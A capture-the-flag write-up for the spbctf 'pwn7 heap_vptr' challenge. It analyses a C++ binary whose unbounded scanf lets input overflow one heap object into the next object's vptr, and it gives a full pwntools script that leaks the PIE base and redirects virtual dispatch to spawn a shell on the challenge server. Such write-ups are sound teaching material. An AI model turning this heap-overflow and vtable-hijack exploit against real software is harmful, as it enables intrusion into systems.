pwn7 heap_vptr
pwn7 heap_vptr
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: heap_vptr_overwrite, pie_leak, virtual_dispatch_hijack, vtable_redirect
Summary
Task: C++ heap binary (PIE, no canary) with two adjacent Student objects and an unbounded scanf("%s") overflowing the first object into the second's vptr. Solution: leak PIE base from printf, overflow s1 into s2.vptr, point it at vtable+0x18 so virtual dispatch calls the existing Shell() win method (system("sh")).
pwn7 heap_vptr — pwn_spbctf
Description
Remote:
nc 109.233.56.90 11580
A 64-bit C++ binary (heap_vp.elf) implementing a Student class with virtual
methods. The program leaks several pointers, then reads input into a heap object
and performs a virtual method call. The goal is to redirect that virtual dispatch
to the hidden Shell() method and read flag.txt.
Analysis
Protections: amd64, PIE, Partial RELRO, NO stack canary, NX. system is
imported. Binary is not stripped.
Class Student and its vtable (_ZTV7Student @ base+0x3d98):
| Symbol | Offset | Action | Role |
|---|---|---|---|
Student::Get() | +0x11aa | system("date") | normal vtable[0] |
Student::Shell() | +0x118a | system("sh") | win |
Student::Student() ctor | +0x12de | sets obj[0] = base+0x3da8 | vptr setup |
The constructor stores the effective vptr at base+0x3da8 (= vtable+0x10), where:
slot[0]@base+0x3da8→Get(system("date"))slot[1]@base+0x3db0→Shell(system("sh"))
main() flow:
s1 = new Student(0x28)→ ctor setss1.vptr = base+0x3da8.s2 = new Student(0x28)→ ctor setss2.vptr = base+0x3da8. Both are0x30heap chunks, allocated adjacently.printf("%p %p %p\n", s1, s2, &main)— leakss1,s2, and a code address. Sincemainis at PIE offset0x11c9, this leaks the PIE base.scanf("%s", s1+8)— UNBOUNDED read intos1+8: a forward heap overflow.puts(s1+8)echoes the input.- Virtual dispatch on
s2:rax = *(s2)(vptr);rdx = *(rax)(vtable[0]);call rdxwithrdi = s2.
The bug. The unbounded scanf("%s", s1+8) lets us write past s1's 0x30
chunk straight into s2, overwriting s2.vptr (at s2+0). The distance from
the scanf destination to s2 is constant: pad = s2 - (s1+8) = 0x28.
Solution
This is a heap vptr type-confusion / vtable redirect. We do not need to forge
a vtable — we just point s2.vptr one slot further into the real vtable so the
dispatch reads Shell instead of Get.
Set s2.vptr = base+0x3db0 (= &slot[1]). Then the dispatch computes:
rax = base+0x3db0
rdx = *(base+0x3db0) = &Shell
call Shell -> system("sh")
Payload: b'A'*0x28 + p64(base+0x3db0).
scanf("%s") stops at whitespace/NUL. The pointer bytes contain no space or
newline, and the string terminates naturally on the trailing NULs of the address.
After the shell pops, cat flag.txt (flag sits in the cwd).
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11580 MAIN_OFF = 0x11c9 VTSHELL = 0x3db0 # address whose deref is &Shell (vtable slot[1]) io = remote(HOST, PORT) # leak: printf("%p %p %p", s1, s2, main) s1, s2, mainp = map(lambda x: int(x, 16), io.recvline().split(b' ')) base = mainp - MAIN_OFF log.info('s1=%#x s2=%#x base=%#x' % (s1, s2, base)) # scanf("%s", s1+8) overflows forward into s2.vptr (at s2+0) dest = s1 + 8 pad = s2 - dest # constant 0x28 payload = b'A' * pad + p64(base + VTSHELL) io.sendline(payload) io.recvline() # puts(s1+8) echo io.sendline(b'cat flag.txt') # -> SPBCTF{REDACTED} io.interactive()